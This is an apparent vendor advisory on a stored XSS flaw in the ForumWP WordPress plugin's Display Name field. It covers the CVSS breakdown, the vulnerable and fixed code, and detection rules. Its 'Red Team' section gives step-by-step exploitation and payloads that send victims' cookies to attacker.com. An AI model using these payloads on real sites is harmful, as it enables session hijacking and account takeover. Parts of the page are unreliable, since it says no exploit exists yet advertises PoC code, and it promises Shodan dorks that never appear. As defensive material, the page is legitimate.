CVE-2025-13746
Executive Summary
CVE-2025-13746 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the ForumWP – Forum & Discussion Board plugin for WordPress, affecting all versions up to and including 2.1.6. The flaw resides in the insufficient sanitization and escaping of the user's Display Name field. An authenticated attacker with Subscriber-level access or higher can inject arbitrary web scripts into the Display Name. When any user (including administrators) views a page that renders this Display Name (e.g., forum posts, user profiles), the injected script executes in their browser context. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as Stored XSS (CWE-79) with a CVSS v3.1 score of 6.4 (Medium). No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin's update channel for a patched version. Since the plugin is not managed via NPM, PyPI, Go, or Ruby, no package manager-specific supply chain risks are identified.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs Subscriber-level account.
- User Interaction (UI): None (N) – No victim action needed beyond viewing the page.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited content manipulation.
- Availability (A): None (N) – No denial of service.
Threat Level: Medium. The requirement for authentication reduces the attack surface, but the potential for privilege escalation via XSS (e.g., stealing admin cookies) elevates the risk.
Deep Dive & Mechanics
The vulnerability exists in the way ForumWP handles the WordPress user Display Name. When a user registers or updates their profile, the plugin stores the Display Name without proper sanitization. Later, when the plugin renders the Display Name in forum threads, user cards, or profile pages, it fails to escape the output. This allows an attacker to inject HTML and JavaScript.
Attack Flow:
- Attacker registers a new WordPress account with Subscriber role.
- Attacker sets their Display Name to a malicious payload, e.g.,
<script>alert(document.cookie)</script>. - The plugin stores this payload in the
wp_userstable. - When any user (including admins) visits a forum page that displays the attacker's Display Name, the script executes.
- The attacker can then steal cookies, redirect users, or perform actions on behalf of the victim.
Root Cause: The plugin uses esc_html() or similar escaping functions inconsistently, or relies on WordPress core functions that do not escape the Display Name in all contexts.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical fix based on common WordPress XSS remediation.
Vulnerable Code (ForumWP <= 2.1.6):
// In a template file, e.g., single-forum.php
echo get_the_author_meta('display_name', $post->post_author);
Patched Code (Hypothetical):
// Properly escape the output
echo esc_html(get_the_author_meta('display_name', $post->post_author));
Explanation: The vulnerable code directly outputs the Display Name without escaping. The patched code uses esc_html() to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with ForumWP plugin version <= 2.1.6.
- An authenticated user account with Subscriber role or higher.
Steps:
- Log in to WordPress as a Subscriber.
- Navigate to Users > Profile.
- In the "Display Name" field, enter the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the profile.
- Wait for an administrator or any user to view a forum page where your Display Name is rendered (e.g., your forum post).
- The script executes, sending the victim's cookies to the attacker's server.
Alternative Payload (Session Hijacking):
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor user profile updates for suspicious Display Name changes (e.g., containing
<script>tags). - Review web server logs for requests to external domains from the WordPress site.
- Use the YARA and Sigma rules provided in the Detection Engineering section.
Hardening:
- Apply a Web Application Firewall (WAF) rule to block XSS payloads in user profile fields.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Restrict user registration to trusted domains or require admin approval.
- Regularly update the ForumWP plugin and monitor for patches.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing cookie data.
- Suspicious
POSTorGETrequests to/wp-admin/profile.phpwithdisplay_nameparameter containing<script>tags.
- Host IOCs:
- User accounts with Display Names containing HTML/JavaScript code.
- Unexpected entries in WordPress user meta table (
wp_usermeta).
- File IOCs:
- Modified plugin files (if attacker gains admin access via XSS).
- Log IOCs:
- Web server logs showing
display_nameparameter with encoded or raw script tags.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_13746_Stored_XSS_DisplayName {
meta:
description = "Detects stored XSS payloads in WordPress Display Name fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-13746"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$display_name_field = "display_name"
condition:
$xss_payload and $display_name_field
}
Sigma Rule
title: CVE-2025-13746 Stored XSS via Display Name
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS attempts via WordPress Display Name field
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- 'display_name='
- '%3Cscript%3E'
- '%3C/script%3E'
condition: selection
falsepositives:
- Legitimate use of HTML in Display Name (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-13746 Stored XSS Payload in Display Name"; flow:to_server,established; content:"display_name"; http_client_body; nocase; content:"<script"; http_client_body; nocase; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the ForumWP plugin until a patch is available.
- Audit user accounts for suspicious Display Names and remove them.
- Implement a WAF rule to block XSS payloads in user profile fields.
Long-Term Fix:
- Apply the official patch once released by the vendor.
- If no patch is forthcoming, consider replacing the plugin with an alternative forum solution.
- Enforce strict input validation and output escaping for all user-supplied data.
Workaround:
- Add the following code to your theme's
functions.phpto sanitize Display Names:
add_filter('pre_user_display_name', 'sanitize_display_name');
function sanitize_display_name($display_name) {
return sanitize_text_field($display_name);
}
Valters IT – Securing your digital frontier.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.